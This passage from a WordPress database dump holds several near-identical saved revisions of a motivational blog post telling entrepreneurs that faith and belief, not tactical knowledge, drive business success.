'2014-01-11 14:33:32', '2014-01-11 21:33:32', '', 2534, 'http://www.whitehotcenter.com/2014/01/2534-revision/', 0, 'revision', '', 0),
(2537, 2, '2014-01-11 14:33:37', '2014-01-11 21:33:37', '<img class="alignnone size-full wp-image-2535" title="All things come through faith and belief" src="http://whc.fbdev.org/wp-content/uploads/2014/01/faith-belief.jpg" alt="" width="486" height="321" />\r\n<h1>With so much useful and free information on business success available to entrepreneurs on the web, it’s a wonder every entrepreneur who would dare to try wouldn’t be massively successful.</h1>\r\nIn less than half a generation, knowledge on anything is everywhere and more accessible to everyone than ever before in human history. If you’re an early stage entrepreneur or solo professional in this day in age, you know how to obtain tactical knowledge from the outside world–but what about the inside world of your creativity and imagination?  The formless, good dirt where the seeds of your future are planted?\r\n\r\nJust a friendly reminder if you are beginning a new idea–more important to your success (and its enjoyment) than obtained knowledge, is the quality of what you currently thinking about. And the quality of what you think about forms the quality of your emotions, and what you’re feeling will, in turn, drive your behavior or action. Actions determine results. This is the law of cause and effect at work, and just like gravity, it’s always on.\r\n\r\nThe seed of every success lies in the dominant frame of mind, not in knowledge, talent or skill.\r\n\r\nThe start of a new year is always a good time to ponder what lies ahead. Everywhere I go speaking and working with entrepreneurs, many are “hopeful” this will be the year for harvesting.  I hope so too, but for me, hope is not enough to put hay in the barn. Hope is not the dominant frame of mind that will make things happen.\r\n\r\nNaturally, it’s the ultimate zen challenge for all entrepreneurs in the process of building a bigger future for the world and themselves to remain in the right frame of mind. I’m not talking about trite and cliché positive thinking or affirmations here (although that’s helpful too), I’m talking about belief! Belief is not hope.\r\n\r\nDo you <em>believe without reservation</em> that your vision / dream / desire / goal is on its way to you right now; or are you uncertain, doubtful and fearful, trying to obtain more outside knowledge to hedge your risk?\r\n\r\nBelief is the effect that faith causes. The amount of one determines the amount of the other. You can never have more of one and less of the other. But you must first have faith to believe.\r\n\r\nNot the kind of faith you have when it’s happening and things are going your way. No, I’m talking about the kind of faith required to believe in something you don’t see happening or producing the results you expect. The kind of faith that confirms “you  just know you know” this idea will succeed in spite of any current evidence to the contrary! Faith beyond belief.\r\n\r\nThis is real Jedi mind level stuff, but there’s nothing complicated about creating results in the world. It’s a pretty simple formula:\r\n<h2>Faith will power your belief, which creates your emotions, that drive your actions, which determines your results.</h2>\r\nIf you’re in the critical stages of inventing or reinventing your business, entering new markets, appealing to different customers, innovating new products, recovering from a recent business failure, even starting over from scratch, here’s a first principal I find helpful to practice whenever I start to ponder what I want my next big idea to be:\r\n\r\n<strong>Never desire what you don’t expect to experience, nor expect to experience what you don’t desire.</strong>\r\n\r\nFaith and Believe are twin sisters. They go everywhere together with you. Strengthen your faith and belief in your big idea, not your knowledge of tactics.\r\n\r\n<em>If you found this post helpful, please subscribe to receive posts directly to your inbox.</em>\r\n\r\n&nbsp;', 'Faith and Belief: The dominant frame of mind for success!', 0, '', 'inherit', 'open', 'open', '', '2534-revision-2', '', '', '2014-01-11 14:33:37', '2014-01-11 21:33:37', '', 2534, 'http://www.whitehotcenter.com/2014/01/2534-revision-2/', 0, 'revision', '', 0),
(2538, 2, '2014-01-11 14:34:00', '2014-01-11 21:34:00', '<img class="alignnone size-full wp-image-2535" title="All things come through faith and belief" src="http://whc.fbdev.org/wp-content/uploads/2014/01/faith-belief.jpg" alt="" width="486" height="321" />\r\n<h1>With so much useful and free information on business success available to entrepreneurs on the web, it’s a wonder every entrepreneur who would dare to try wouldn’t be massively successful.</h1>\r\nIn less than half a generation, knowledge on anything is everywhere and more accessible to everyone than ever before in human history. If you’re an early stage entrepreneur or solo professional in this day in age, you know how to obtain tactical knowledge from the outside world–but what about the inside world of your creativity and imagination?  The formless, good dirt where the seeds of your future are planted?\r\n\r\nJust a friendly reminder if you are beginning a new idea–more important to your success (and its enjoyment) than obtained knowledge, is the quality of what you currently thinking about. And the quality of what you think about forms the quality of your emotions, and what you’re feeling will, in turn, drive your behavior or action. Actions determine results. This is the law of cause and effect at work, and just like gravity, it’s always on.\r\n\r\nThe seed of every success lies in the dominant frame of mind, not in knowledge, talent or skill.\r\n\r\nThe start of a new year is always a good time to ponder what lies ahead. Everywhere I go speaking and working with entrepreneurs, many are “hopeful” this will be the year for harvesting.  I hope so too, but for me, hope is not enough to put hay in the barn. Hope is not the dominant frame of mind that will make things happen.\r\n\r\nNaturally, it’s the ultimate zen challenge for all entrepreneurs in the process of building a bigger future for the world and themselves to remain in the right frame of mind. I’m not talking about trite and cliché positive thinking or affirmations here (although that’s helpful too), I’m talking about belief! Belief is not hope.\r\n\r\nDo you <em>believe without reservation</em> that your vision / dream / desire / goal is on its way to you right now; or are you uncertain, doubtful and fearful, trying to obtain more outside knowledge to hedge your risk?\r\n\r\nBelief is the effect that faith causes. The amount of one determines the amount of the other. You can never have more of one and less of the other. But you must first have faith to believe.\r\n\r\nNot the kind of faith you have when it’s happening and things are going your way. No, I’m talking about the kind of faith required to believe in something you don’t see happening or producing the results you expect. The kind of faith that confirms “you  just know you know” this idea will succeed in spite of any current evidence to the contrary! Faith beyond belief.\r\n\r\nThis is real Jedi mind level stuff, but there’s nothing complicated about creating results in the world. It’s a pretty simple formula:\r\n<h2>Faith will power your belief, which creates your emotions, that drive your actions, which determines your results.</h2>\r\nIf you’re in the critical stages of inventing or reinventing your business, entering new markets, appealing to different customers, innovating new products, recovering from a recent business failure, even starting over from scratch, here’s a first principal I find helpful to practice whenever I start to ponder what I want my next big idea to be:\r\n\r\n<strong>Never desire what you don’t expect to experience, nor expect to experience what you don’t desire.</strong>\r\n\r\nFaith and Believe are twin sisters. They go everywhere together with you. Strengthen your faith and belief in your big idea, not your knowledge of tactics.\r\n\r\n<em>If you found this post helpful, please subscribe to receive posts directly to your inbox.</em>\r\n\r\n&nbsp;', 'Faith and Belief: The dominant frame of mind for success!', 0, '', 'inherit', 'open', 'open', '', '2534-revision-3', '', '', '2014-01-11 14:34:00', '2014-01-11 21:34:00', '', 2534, 'http://www.whitehotcenter.com/2014/01/2534-revision-3/', 0, 'revision', '', 0),
(2539, 2, '2014-01-11 14:34:08', '2014-01-11 21:34:08', '<img class="alignnone size-full wp-image-2535" title="All things come through faith and belief" src="http://whc.fbdev.org/wp-content/uploads/2014/01/faith-belief.jpg" alt="" width="486" height="321" />\r\n<h1>With so much useful and free information on business success available to entrepreneurs on the web, it’s a wonder every entrepreneur who would dare to try wouldn’t be massively successful.</h1>\r\nIn less than half a generation, knowledge on anything is everywhere and more accessible to everyone than ever before in human history. If you’re an early stage entrepreneur or solo professional in this day in age, you know how to obtain tactical knowledge from the outside world–but what about the inside world of your creativity and imagination?  The formless, good dirt where the seeds of your future are planted?\r\n\r\nJust a friendly reminder if you are beginning a new idea–more important to your success (and its enjoyment) than obtained knowledge, is the quality of what you currently thinking about. And the quality of what you think about forms the quality of your emotions, and what you’re feeling will, in turn, drive your behavior or action. Actions determine results. This is the law of cause and effect at work, and just like gravity, it’s always on.\r\n\r\nThe seed of every success lies in the dominant frame of mind, not in knowledge, talent or skill.\r\n\r\nThe start of a new year is always a good time to ponder what lies ahead. Everywhere I go speaking and working with entrepreneurs, many are “hopeful” this will be the year for harvesting.  I hope so too, but for me, hope is not enough to put hay in the barn. Hope is not the dominant frame of mind that will make things happen.\r\n\r\nNaturally, it’s the ultimate zen challenge for all entrepreneurs in the process of building a bigger future for the world and themselves to remain in the right frame of mind. I’m not talking about trite and cliché positive thinking or affirmations here (although that’s helpful too), I’m talking about belief! Belief is not hope.\r\n\r\nDo you <em>believe without reservation</em> that your vision / dream / desire / goal is on its way to you right now; or are you uncertain, doubtful and fearful, trying to obtain more outside knowledge to hedge your risk?\r\n\r\nBelief is the effect that faith causes. The amount of one determines the amount of the other. You can never have more of one and less of the other. But you must first have faith to believe.\r\n\r\nNot the kind of faith you have when it’s happening and things are going your way. No, I’m talking about the kind of faith required to believe in something you don’t see happening or producing the results you expect. The kind of faith that confirms “you  just know you know” this idea will succeed in spite of any current evidence to the contrary! Faith beyond belief.\r\n\r\nThis is real Jedi mind level stuff, but there’s nothing complicated about creating results in the world. It’s a pretty simple formula:\r\n<h2>Faith will power your belief, which creates your emotions, that drive your actions, which determines your results.</h2>\r\nIf you’re in the critical stages of inventing or reinventing your business, entering new markets, appealing to different customers, innovating new products, recovering from a recent business failure, even starting over from scratch, here’s a first principal I find helpful to practice whenever I start to ponder what I want my next big idea to be:\r\n\r\n<strong>Never desire what you don’t expect to experience, nor expect to experience what you don’t desire.</strong>\r\n\r\nFaith and Believe are twin sisters. They go everywhere together with you. Strengthen your faith and belief in your big idea, not your knowledge of tactics.\r\n\r\n<em>If you found this post helpful, please subscribe to receive posts directly to your inbox.</em>\r\n\r\n&nbsp;', 'Faith and Belief: The dominant frame of mind for success!', 0, '', 'inherit', 'open', 'open', '', '2534-revision-4', '', '', '2014-01-11 14:34:08', '2014-01-11 21:34:08', '', 2534, 'http://www.whitehotcenter.com/2014/01/2534-revision-4/', 0, 'revision', '', 0),
(2540, 2, '2014-01-11 14:39:21', '2014-01-11 21:39:21', '<img class="alignnone size-full wp-image-2535" title="All things come through faith and belief" src="http://whc.fbdev.org/wp-content/uploads/2014/01/faith-belief.jpg" alt="" width="486" height="321" />\n<h1>With so much useful and free information on business success available to entrepreneurs on the web, it’s a wonder every entrepreneur who would dare to try wouldn’t be massively successful.</h1>\nIn less than half a generation, knowledge on anything is everywhere and more accessible to everyone than ever before in human history. If you’re an early stage entrepreneur or solo professional in this day in age, you know how to obtain tactical knowledge from the outside world–but what about the inside world of your creativity and imagination?  The formless, good dirt where the seeds of your future are planted?\n\nJust a friendly reminder if you are beginning a new idea–more important to your success (and its enjoyment) than obtained knowledge, is the quality of what you currently thinking about. And the quality of what you think about forms the quality of your emotions, and what you’re feeling will, in turn, drive your behavior or action. Actions determine results. This is the law of cause and effect at work, and just like gravity, it’s always on.\n\nThe seed of every success lies in the dominant frame of mind, not in knowledge, talent or skill.\n\nThe start of a new year is always a good time to ponder what lies ahead. Everywhere I go speaking and working with entrepreneurs, many are “hopeful” this will be the year for harvesting.  I hope so too, but for me, hope is not enough to put hay in the barn. Hope is not the dominant frame of mind that will make things happen.\n\nNaturally, it’s the ultimate zen challenge for all entrepreneurs in the process of building a bigger future for the world and themselves to remain in the right frame of mind. I’m not talking about trite and cliché positive thinking or affirmations here (although that’s helpful too), I’m talking about belief! Belief is not hope.\n\nDo you <em>believe without reservation</em> that your vision / dream / desire / goal is on its way to you right now; or are you uncertain, doubtful and fearful, trying to obtain more outside knowledge to hedge your risk?\n\nBelief is the effect that faith causes. The amount of one determines the amount of the other. You can never have more of one and less of the other. But you must first have faith to believe.\n\nNot the kind of faith you have when it’s happening and things are going your way. No, I’m talking about the kind of faith required to believe in something you don’t see happening or producing the results you expect. The kind of faith that confirms “you just know you know” this idea will succeed in spite of any current evidence to the contrary! Faith beyond belief.\n\nThis is real Jedi mind level stuff, but there’s nothing complicated about creating results in the world. It’s a pretty simple formula:\n<h2>Faith will power your belief, which creates your emotions, that drive your actions, which determines your results.</h2>\nIf you’re in the critical stages of inventing or reinventing your business, entering new markets, appealing to different customers, innovating new products, recovering from a recent business failure, even starting over from scratch, here’s a first principal I find helpful to practice whenever I start to ponder what I want my next big idea to be:\n\n<strong>Never desire what you don’t expect to experience, nor expect to experience what you don’t desire.</strong>\n\nFaith and Believe are twin sisters. They go everywhere together with you. Put your energy in strengthening your faith and belief in your big idea, not your knowledge of tactics.\n\n<em>If you found this post helpful, please subscribe to receive posts directly to your inbox.</em>\n\n&nbsp;', 'Faith and Belief: The dominant frame of mind for success!', 0, '', 'inherit', 'open', 'open', '', '2534-revision-5', '', '', '2014-01-11 14:39:21', '2014-01-11 21:39:21', '', 2534, 'http://www.whitehotcenter.com/2014/01/2534-revision-5/', 0, 'revision', '', 0),
(2541, 2, '2014-01-11 14:42:00', '2014-01-11 21:42:00', '<img class="alignnone size-full wp-image-2535" title="All things come through faith and belief" src="http://whc.fbdev.org/wp-content/uploads/2014/01/faith-belief.jpg" alt="" width="486" height="321" />\r\n<h1>With so much useful and free information on business success available to entrepreneurs on the web, it’s a wonder every entrepreneur who would dare to try wouldn’t be massively successful.</h1>\r\nIn less than half a generation, knowledge on anything is everywhere and more accessible to everyone than ever before in human history. If you’re an early stage entrepreneur or solo professional in this day in age, you know how to obtain tactical knowledge from the outside world–but what about the inside world of your creativity and imagination?  The formless, good dirt where the seeds of your future are planted?\r\n\r\nJust a friendly reminder if you are beginning a new idea–more important to your success (and its enjoyment) than obtained knowledge, is the quality of what you currently thinking about. And the quality of what you think about forms the quality of your emotions, and what you’re feeling will, in turn, drive your behavior or action. Actions determine results. This is the law of cause and effect at work, and just like gravity, it’s always on.\r\n\r\nThe seed of every success lies in the dominant frame of mind, not in knowledge, talent or skill.\r\n\r\nThe start of a new year is always a good time to ponder what lies ahead. Everywhere I go speaking and working with entrepreneurs, many are “hopeful” this will be the year for harvesting.  I hope so too, but for me, hope is not enough to put hay in the barn. Hope is not the dominant frame of mind that will make things happen.\r\n\r\nNaturally, it’s the ultimate zen challenge for all entrepreneurs in the process of building a bigger future for the world and themselves to remain in the right frame of mind. I’m not talking about trite and cliché positive thinking or affirmations here (although that’s helpful too), I’m talking about belief! Belief is not hope.\r\n\r\nDo you <em>believe without reservation</em> that your vision / dream / desire / goal is on its way to you right now; or are you uncertain, doubtful and fearful, trying to obtain more outside knowledge to hedge your risk?\r\n\r\nBelief is the effect that faith causes. The amount of one determines the amount of the other. You can never have more of one and less of the other. But you must first have faith to believe.\r\n\r\nNot the kind of faith you have when it’s happening and things are going your way. No, I’m talking about the kind of faith required to believe in something you don’t see happening or producing the results you expect. The kind of faith that confirms “you just know you know” this idea will succeed in spite of any current evidence to the contrary! Faith beyond belief.\r\n\r\nThis is real Jedi mind level stuff, but there’s nothing complicated about creating results in the world. It’s a pretty simple formula:\r\n<h2>Faith will power your belief, which creates your emotions, that drive your actions, which determines your results.</h2>\r\nIf you’re in the critical stages of inventing or reinventing your business, entering new markets, appealing to different customers, innovating new products, recovering from a recent business failure, even starting over from scratch, here’s a first principal I find helpful to practice whenever I start to ponder what I want my next big idea to be:\r\n\r\n<strong>Never desire what you don’t expect to experience, nor expect to experience what you don’t desire.</strong>\r\n\r\nFaith and Believe are twin sisters. They go everywhere together with you. Put your energy in strengthening your faith and belief in your big idea, not your knowledge of tactics.\r\n\r\n<em>If you found this post helpful, please subscribe to receive posts directly to your inbox.</em>\r\n\r\n&nbsp;', 'Faith and Belief: The dominant frame of mind for success!', 0, '', 'inherit', 'open', 'open', '', '2534-revision-6', '', '', '2014-01-11 14:42:00', '2014-01-11 21:42:00', '', 2534, 'http://www.whitehotcenter.com/2014/01/2534-revision-6/', 0, 'revision', '', 0);
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(2542, 2, '2014-01-11 14:42:10', '2014-01-11 21:42:10', '<img class="alignnone size-full wp-image-2535" title="All things come through faith and belief" src="http://whc.fbdev.org/wp-content/uploads/2014/01/faith-belief.jpg" alt="" width="486" height="321" />\r\n<h1>With so much useful and free information on business success available to entrepreneurs on the web, it’s a wonder every entrepreneur who would dare to try wouldn’t be massively successful.</h1>\r\nIn less than half a generation, knowledge on anything is everywhere and more accessible to everyone than ever before in human history. If you’re an early stage entrepreneur or solo professional in this day in age, you know how to obtain tactical knowledge from the outside world–but what about the inside world of your creativity and imagination?  The formless, good dirt where the seeds of your future are planted?\r\n\r\nJust a friendly reminder if you are beginning a new idea–more important to your success (and its enjoyment) than obtained knowledge, is the quality of what you currently thinking about. And the quality of what you think about forms the quality of your emotions, and what you’re feeling will, in turn, drive your behavior or action. Actions determine results. This is the law of cause and effect at work, and just like gravity, it’s always on.\r\n\r\nThe seed of every success lies in the dominant frame of mind, not in knowledge, talent or skill.\r\n\r\nThe start of a new year is always a good time to ponder what lies ahead. Everywhere I go speaking and working with entrepreneurs, many are “hopeful” this will be the year for harvesting.  I hope so too, but for me, hope is not enough to put hay in the barn. Hope is not the dominant frame of mind that will make things happen.\r\n\r\nNaturally, it’s the ultimate zen challenge for all entrepreneurs in the process of building a bigger future for the world and themselves to remain in the right frame of mind. I’m not talking about trite and cliché positive thinking or affirmations here (although that’s helpful too), I’m talking about belief! Belief is not hope.\r\n\r\nDo you <em>believe without reservation</em> that your vision / dream / desire / goal is on its way to you right now; or are you uncertain, doubtful and fearful, trying to obtain more outside knowledge to hedge your risk?\r\n\r\nBelief is the effect that faith causes. The amount of one determines the amount of the other. You can never have more of one and less of the other. But you must first have faith to believe.\r\n\r\nNot the kind of faith you have when it’s happening and things are going your way. No, I’m talking about the kind of faith required to believe in something you don’t see happening or producing the results you expect. The kind of faith that confirms “you just know you know” this idea will succeed in spite of any current evidence to the contrary! Faith beyond belief.\r\n\r\nThis is real Jedi mind level stuff, but there’s nothing complicated about creating results in the world. It’s a pretty simple formula:\r\n<h2>Faith will power your belief, which creates your emotions, that drive your actions, which determines your results.</h2>\r\nIf you’re in the critical stages of inventing or reinventing your business, entering new markets, appealing to different customers, innovating new products, recovering from a recent business failure, even starting over from scratch, here’s a first principal I find helpful to practice whenever I start to ponder what I want my next big idea to be:\r\n\r\n<strong>Never desire what you don’t expect to experience, nor expect to experience what you don’t desire.</strong>\r\n\r\nFaith and Believe are twin sisters. They go everywhere together with you. Put your energy in strengthening your faith and belief in your big idea, not your knowledge of tactics.\r\n\r\n<em>If you found this post helpful, please subscribe to receive posts directly to your inbox.</em>\r\n\r\n&nbsp;', 'Faith and Belief: The dominant frame of mind for success!', 0, '', 'inherit', 'open', 'open', '', '2534-revision-7', '', '', '2014-01-11 14:42:10', '2014-01-11 21:42:10', '', 2534, 'http://www.whitehotcenter.com/2014/01/2534-revision-7/', 0, 'revision', '', 0),
(2543, 2, '2014-01-11 14:46:07', '2014-01-11 21:46:07', '<img class="alignnone size-full wp-image-2535" title="All things come through faith and belief" src="http://whc.fbdev.org/wp-content/uploads/2014/01/faith-belief.jpg" alt="" width="486" height="321" />\r\n<h1>With so much useful and free information on business success available to entrepreneurs on the web, it’s a wonder every entrepreneur who would dare to try wouldn’t be massively successful.</h1>\r\nIn less than half a generation, knowledge on anything is everywhere and more accessible to everyone than ever before in human history. If you’re an early stage entrepreneur or solo professional in this day in age, you know how to obtain tactical knowledge from the outside world–but what about the inside world of your creativity and imagination?  The formless, good dirt where the seeds of your future are planted?\r\n\r\nJust a friendly reminder if you are beginning a new idea–more important to your success (and its enjoyment) than obtained knowledge, is the quality of what you currently thinking about. And the quality of what you think about forms the quality of your emotions, and what you’re feeling will, in turn, drive your behavior or action. Actions determine results. This is the law of cause and effect at work, and just like gravity, it’s always on.\r\n<h3>The seed of every success lies in the dominant frame of mind, not in knowledge, talent or skill.</h3>\r\nThe start of a new year is always a good time to ponder what lies ahead. Everywhere I go speaking and working with entrepreneurs, many are “hopeful” this will be the year for harvesting.  I hope so too, but for me, hope is not enough to put hay in the barn. Hope is not the dominant frame of mind that will make things happen.\r\n\r\nNaturally, it’s the ultimate zen challenge for all entrepreneurs in the process of building a bigger future for the world and themselves to remain in the right frame of mind. I’m not talking about trite and cliché positive thinking or affirmations here (although that’s helpful too), I’m talking about faith and belief– not hope!\r\n\r\nDo you <em>believe without reservation</em> that your vision / dream / desire / goal is on its way to you right now; or are you uncertain, doubtful and fearful, trying to obtain more outside knowledge to hedge your risk?\r\n\r\nBelief is the effect that faith causes. The amount of one determines the amount of the other. You can never have more of one and less of the other. But you must first have faith to believe.\r\n\r\nNot the kind of faith you have when it’s happening and things are going your way. No, I’m talking about the kind of faith required to believe in something you don’t see happening or producing the results you expect. The kind of faith that confirms “you just know you know” this idea will succeed in spite of any current evidence to the contrary! Faith beyond belief.\r\n\r\nThis is real Jedi mind level stuff, but there’s nothing complicated about creating results in the world. It’s a pretty simple formula:\r\n<h2>Faith will power your belief, which creates your emotions, that drive your actions, which determines your results.</h2>\r\nIf you’re in the critical stages of inventing or reinventing your business, entering new markets, appealing to different customers, innovating new products, recovering from a recent business failure, even starting over from scratch, here’s a first principal I find helpful to practice whenever I start to ponder what I want my next big idea to be:\r\n\r\n<strong>Never desire what you don’t expect to experience, nor expect to experience what you don’t desire.</strong>\r\n\r\nFaith and Believe are twin sisters. They go everywhere together with you. Put your energy in strengthening your faith and belief in your big idea, not in your knowledge of tactics.\r\n\r\n<em>If you found this post helpful, please subscribe to receive posts directly to your inbox.</em>\r\n\r\n&nbsp;', 'Faith and Belief: The dominant frame of mind for success!', 0, '', 'inherit', 'open', 'open', '', '2534-revision-8', '', '', '2014-01-11 14:46:07', '2014-01-11 21:46:07', '', 2534, 'http://www.whitehotcenter.com/2014/01/2534-revision-8/', 0, 'revision', '', 0),
(2544, 2, '2014-01-11 14:46:23', '2014-01-11 21:46:23', '<img class="alignnone size-full wp-image-2535" title="All things come through faith and belief" src="http://whc.fbdev.org/wp-content/uploads/2014/01/faith-belief.jpg" alt="" width="486" height="321" />\r\n<h1>With so much useful and free information on business success available to entrepreneurs on the web, it’s a wonder every entrepreneur who would dare to try wouldn’t be massively successful.</h1>\r\nIn less than half a generation, knowledge on anything is everywhere and more accessible to everyone than ever before in human history. If you’re an early stage entrepreneur or solo professional in this day in age, you know how to obtain tactical knowledge from the outside world–but what about the inside world of your creativity and imagination?  The formless, good dirt where the seeds of your future are planted?\r\n\r\nJust a friendly reminder if you are beginning a new idea–more important to your success (and its enjoyment) than obtained knowledge, is the quality of what you currently thinking about. And the quality of what you think about forms the quality of your emotions, and what you’re feeling will, in turn, drive your behavior or action. Actions determine results. This is the law of cause and effect at work, and just like gravity, it’s always on.\r\n<h3>The seed of every success lies in the dominant frame of mind, not in knowledge, talent or skill.</h3>\r\nThe start of a new year is always a good time to ponder what lies ahead. Everywhere I go speaking and working with entrepreneurs, many are “hopeful” this will be the year for harvesting.  I hope so too, but for me, hope is not enough to put hay in the barn. Hope is not the dominant frame of mind that will make things happen.\r\n\r\nNaturally, it’s the ultimate zen challenge for all entrepreneurs in the process of building a bigger future for the world and themselves to remain in the right frame of mind. I’m not talking about trite and cliché positive thinking or affirmations here (although that’s helpful too), I’m talking about faith and belief– not hope!\r\n\r\nDo you <em>believe without reservation</em> that your vision / dream / desire / goal is on its way to you right now; or are you uncertain, doubtful and fearful, trying to obtain more outside knowledge to hedge your risk?\r\n\r\nBelief is the effect that faith causes. The amount of one determines the amount of the other. You can never have more of one and less of the other. But you must first have faith to believe.\r\n\r\nNot the kind of faith you have when it’s happening and things are going your way. No, I’m talking about the kind of faith required to believe in something you don’t see happening or producing the results you expect. The kind of faith that confirms “you just know you know” this idea will succeed in spite of any current evidence to the contrary! Faith beyond belief.\r\n\r\nThis is real Jedi mind level stuff, but there’s nothing complicated about creating results in the world. It’s a pretty simple formula:\r\n<h2>Faith will power your belief, which creates your emotions, that drive your actions, which determines your results.</h2>\r\nIf you’re in the critical stages of inventing or reinventing your business, entering new markets, appealing to different customers, innovating new products, recovering from a recent business failure, even starting over from scratch, here’s a first principal I find helpful to practice whenever I start to ponder what I want my next big idea to be:\r\n\r\n<strong>Never desire what you don’t expect to experience, nor expect to experience what you don’t desire.</strong>\r\n\r\nFaith and Believe are twin sisters. They go everywhere together with you. Put your energy in strengthening your faith and belief in your big idea, not in your knowledge of tactics.\r\n\r\n<em>If you found this post helpful, please subscribe to receive posts directly to your inbox.</em>\r\n\r\n&nbsp;', 'Faith and Belief: The dominant frame of mind for success!', 0, '', 'inherit', 'open', 'open', '', '2534-revision-9', '', '', '2014-01-11 14:46:23', '2014-01-11 21:46:23', '', 2534, 'http://www.whitehotcenter.com/2014/01/2534-revision-9/', 0, 'revision', '', 0),
(2545, 2, '2014-01-11 14:53:22', '2014-01-11 21:53:22', '<img class="alignnone size-full wp-image-2535" title="All things come through faith and belief" src="http://whc.fbdev.org/wp-content/uploads/2014/01/faith-belief.jpg" alt="" width="486" height="321" />\n<h1>With so much useful and free information on business success available to entrepreneurs on the web, it’s a wonder every entrepreneur who would dare to try wouldn’t be massively successful.</h1>\nIn less than half a generation, knowledge on anything is everywhere and more accessible to everyone than ever before in human history. If you’re an early stage entrepreneur or solo professional in this day in age, you know how to obtain tactical knowledge from the outside world–but what about the inside world of your creativity and imagination?  The formless, good dirt where the seeds of your future are planted?\n\nJust a friendly reminder if you are beginning a new idea–more important for your success than obtained knowledge, is the quality of what you''re currently thinking about. And the quality of what you think about forms the quality of your emotions, and what you’re feeling will, in turn, drive your behavior or action. Actions determine results. This is the law of cause and effect at work, and just like gravity, it’s always on.\n<h3>The seed of every success lies in the dominant frame of mind, not in knowledge, talent or skill.</h3>\nThe start of a new year is always a good time to ponder what lies ahead. Everywhere I go speaking and working with entrepreneurs, many are “hopeful” this will be the year for harvesting.  I hope so too, but for me, hope is not enough to put hay in the barn. Hope is not the dominant frame of mind that will make things happen.\n\nNaturally, it’s the ultimate zen challenge for all entrepreneurs in the process of building a bigger future for the world and themselves to remain in the right frame of mind. I’m not talking about trite and cliché positive thinking or affirmations here (although that’s helpful too), I’m talking about faith and belief– not hope!\n\nDo you <em>believe without reservation</em> that your vision / dream / desire / goal is on its way to you right now; or are you uncertain, doubtful and fearful, trying to obtain more outside knowledge to hedge your risk?\n\nBelief is the effect that faith causes. The amount of one determines the amount of the other. You can never have more of one and less of the other. But you must first have faith to believe.\n\nNot the kind of faith you have when it’s happening and things are going your way. No, I’m talking about the kind of faith required to believe in something you don’t see happening or producing the results you expect. The kind of faith that confirms “you just know you know” this idea will succeed in spite of any current evidence to the contrary! Faith beyond belief.\n\nThis is real Jedi mind level stuff, but there’s nothing complicated about creating results in the world. It’s a pretty simple formula:\n<h2>Faith will power your belief, which creates your emotions, that drive your actions, which determines your results.</h2>\nIf you’re in the critical stages of inventing or reinventing your business, entering new markets, appealing to different customers, innovating new products, recovering from a recent business failure, even starting over from scratch, here’s a first principal I find helpful to practice whenever I start to ponder what I want my next big idea to be:\n\n<strong>Never desire what you don’t expect to experience, nor expect to experience what you don’t desire.</strong>\n\nFaith and Believe are twin sisters. They go everywhere together with you. Put your energy in strengthening your faith and belief in your big idea, not in your knowledge of tactics.\n\n<em>If you found this post helpful, please subscribe to receive posts directly to your inbox.</em>\n\n&nbsp;', 'Faith and Belief: The dominant frame of mind for creating a bigger future!', 0, '', 'inherit', 'open', 'open', '', '2534-revision-10', '', '', '2014-01-11 14:53:22', '2014-01-11 21:53:22', '', 2534, 'http://www.whitehotcenter.com/2014/01/2534-revision-10/', 0, 'revision', '', 0),
(2546, 2, '2014-01-11 15:00:18', '2014-01-11 22:00:18', '<img class="alignnone size-full wp-image-2535" title="All things come through faith and belief" src="http://whc.fbdev.org/wp-content/uploads/2014/01/faith-belief.jpg" alt="" width="486" height="321" />\n<h1>With so much useful and free information on business success available to entrepreneurs on the web, it’s a wonder every entrepreneur who would dare to try wouldn’t be massively successful.</h1>\nIn less than half a generation, knowledge on anything is everywhere and more accessible to everyone than ever before in human history. If you’re an early stage entrepreneur or solo professional in this day in age, you know how to obtain tactical knowledge from the outside world–but what about the inside world of your creativity and imagination?  The formless, good dirt where the seeds of your future are planted?\n\nJust a friendly reminder if you are beginning a new idea–more important for your success than obtained knowledge, is the quality of what you''re currently thinking about. And the quality of what you think about forms the quality of your emotions, and what you’re feeling will, in turn, drive your behavior or action. Actions determine results. This is the law of cause and effect at work, and just like gravity, it’s always on.\n<h3>The seed of every success lies in the dominant frame of mind, not in knowledge, talent or skill.</h3>\nThe start of a new year is always a good time to ponder what lies ahead. Everywhere I go speaking and working with entrepreneurs, many are “hopeful” this will be the year for harvesting.  I hope so too, but for me, hope is not enough to put hay in the barn. Hope is not the dominant frame of mind that will make things happen.\n\nNaturally, it’s the ultimate zen challenge for all entrepreneurs in the process of building a bigger future for the world and themselves to remain in the right frame of mind. I’m not talking about trite and cliché positive thinking or affirmations here (although that’s helpful too), I’m talking about faith and belief– not hope!\n\nDo you <em>believe without reservation</em> that your vision / dream / desire / goal is on its way to you right now; or are you uncertain, doubtful and fearful, trying to obtain more outside knowledge to hedge your risk?\n\nBelief is the effect that faith causes. The amount of one determines the amount of the other. You can never have more of one and less of the other. But you must first have faith to believe.\n\nNot the kind of faith you have when it’s happening and things are going your way. No, I’m talking about the kind of faith required to believe in something you don’t see happening or producing the results you expect. The kind of faith that confirms “you just know you know” this idea will succeed in spite of any current evidence to the contrary! Faith beyond belief.\n\nThis is real Jedi mind level stuff, but there’s nothing complicated about creating results in the world. It’s a pretty simple formula:\n<h2>Faith will power your belief, which creates your emotions, that drive your actions, which determines your results.</h2>\nIf you’re in the critical stages of inventing or reinventing your business, entering new markets, appealing to different customers, innovating new products, recovering from a recent business failure, even starting over from scratch, here’s a first principal I find helpful to practice whenever I start to ponder what I want my next big idea to be:\n\n<strong>Never desire what you don’t expect to experience, nor expect to experience what you don’t desire.</strong>\n\nFaith and Belief are twin sisters. Together they must occupy your dominant frame of mind.  Put your energy in strengthening your faith and belief in your big idea, not just more knowledge of tactics.\n\n<em>If you found this post helpful, please subscribe to receive posts directly to your inbox.</em>\n\n&nbsp;', 'Faith and Belief: The dominant frame of mind for creating a bigger future!', 0, '', 'inherit', 'open', 'open', '', '2534-revision-11', '', '', '2014-01-11 15:00:18', '2014-01-11 22:00:18', '', 2534, 'http://www.whitehotcenter.com/2014/01/2534-revision-11/', 0, 'revision', '', 0),
